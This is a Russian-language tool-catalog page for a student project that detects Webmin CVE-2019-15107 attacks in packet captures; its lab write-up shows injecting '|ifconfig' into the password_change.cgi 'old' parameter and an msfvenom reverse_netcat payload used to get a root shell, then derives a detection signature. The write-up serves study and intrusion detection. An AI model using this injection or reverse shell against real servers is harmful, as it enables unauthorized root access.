Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
detect-CVE-2019-15107-by-pyshark — школьный проект | Kitploit
Инструменты/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
Сниффинг и анализ пакетовАнализ уязвимостейЭксплуатацияВеб-безопасностьСетевая безопасностьОбнаружение ВторженийОбучение и Образование
GitHubgozn/detect-cve-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark

школьный проект

Репозиторий
1202 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

detect-CVE-2019-15107-by-pyshark

I. Обзор CVE-2019-15107 Webmin — это веб-интерфейс для системного администрирования Unix. С помощью любого веб-браузера можно настраивать учетные записи пользователей, Apache, DNS, общий доступ к файлам и многое другое. 10 августа 2019 года турецкий исследователь безопасности Özkan Mustafa Akkuş объявил об уязвимости нулевого дня на DefCon. Помимо раскрытия уязвимости, Akkuş также выпустил модуль Metasploit для автоматизации эксплуатации этой уязвимости. Из-за выполнения кода в функции сброса пароля файла password_change.cgi данная уязвимость позволяет третьей стороне выполнять вредоносный код без проверки подлинности ввода. II. Затронутые версии Эта уязвимость затрагивает версии Webmin с 1.882 по 1.921. Чтобы предотвратить эту уязвимость, пользователям Webmin следует обновиться до последней версии Webmin 1.93. III. Анализ уязвимости В Webmin для эксплуатации данной уязвимости необходимо включить функцию "разрешить изменение пароля пользователя". Это единственное условие, однако многие администраторы Webmin активируют эту функцию. Она позволяет пользователям устанавливать новый пароль, зная старый. В исходном коде приложения Webmin есть несколько примечательных файлов ".cgi". Один из них — password_change.cgi. изображение

Единственное требование для работы параметров в этом файле — чтобы значение "passwd_mode" в конфигурационном файле "miniserv.conf" было установлено в "2".

изображение

На этом этапе мы будем использовать "|", читая файл /etc/shadow в процессе проверки старого пароля. Пример обычной команды смены пароля: изображение

Если мы вставим простую команду, например "ifconfig", в команду смены пароля, как показано ниже, команда "ipconfig" будет выполнена и результат отобразится. изображение

IV. Модель развертывания

  • Машина Ubuntu (жертва) с установленным Webmin версии 1.920 и IP-адресом: 192.168.109.128 изображение

  • Машина Kali (атакующий) с IP-адресом: 192.168.109.131 изображение

 

  • Поскольку данная CVE эксплуатирует функцию сброса пароля при истечении срока действия старого пароля в Webmin, жертва должна настроить Webmin в режиме "Предлагать пользователям с истекшим паролем ввести новый". изображение

V. Эксплуатация уязвимости CVE

  • На первом этапе атакующая машина использует Burp Suite для перехвата запросов, отправляемых при смене пароля в Webmin по ссылке: 192.168.109.128:10000/password_change.cgi (IP жертвы) изображение

 

  • Затем атакующая машина отправляет этот запрос во вкладку Repeater Burp Suite для проверки уязвимости. изображение

  • Атакующий редактирует некоторые данные перехваченного пакета запроса. Для изменения пароля метод HTTP должен быть POST, а не GET, как изначально. изображение

 

  • Затем атакующая машина отправляет тестовый запрос на смену пароля со старого пароля на сервер Webmin жертвы: “user=test&pam=&old=test&new1=test2&new2=test2” изображение

  • При отправке запроса приходит сообщение о несовпадении старого пароля (The current password is incorrect), поэтому ключевым является параметр “old”.

  • Далее мы пробуем вставить базовую команду, например ifconfig, после параметра old, чтобы при проверке старого пароля сервер выполнил вставленную команду. Например: “user=test&pam=&old=test|ifconfig&new1=test2&new2=test2” изображение

  • Аналогично, при проверке старого пароля сервер всё равно выдает ошибку, но после проверки выполняется команда “ifconfig” и отображается результат.

  • Затем, для получения root-доступа, мы используем Metasploit framework для создания полезной нагрузки (payload) и отправки её на сервер Webmin жертвы для получения сессии shell. “msfvenom -p cmd/unix/reverse_netcat lhost= lport=” изображение

  • Затем копируем payload и вставляем его в запрос в Burp Suite. изображение

 

  • После отправки запроса с payload на сервер Webmin машина-жертва получает reverse shell. Атакующая машина получает сессию shell на машину-жертву (ip: 192.168.109.128, порт 37218). изображение

  • Таким образом, мы получили root-доступ через данную уязвимость CVE. изображение

  VI. Определение сигнатуры атаки

  • Используем Wireshark для захвата пакетов на сетевом уровне. изображение

  • Для эксплуатации этой CVE атакующий должен использовать ссылку /password_change.cgi для отправки вредоносных запросов методом POST HTTP, поэтому мы будем анализировать захваченные HTTP-пакеты в Wireshark. изображение

  • Мы видим, что команда “ifconfig” вставлена в процесс проверки старого пароля при смене пароля на сервере Webmin. изображение изображение

 

  • Таким образом, мы определяем сигнатуру этой CVE как параметры, передаваемые в процессе смены пароля по ссылке /password_change.cgi: “user=test&pam=&old=test | <команда, которую хочет выполнить атакующий> &new1=test2&new2=test2” VII. Разработка инструмента обнаружения атаки CVE-2019-15107
  • Как было проанализировано выше, для эксплуатации этой CVE атакующий должен вставить команду в параметр old ("старый пароль"). изображение
Скачать инструмент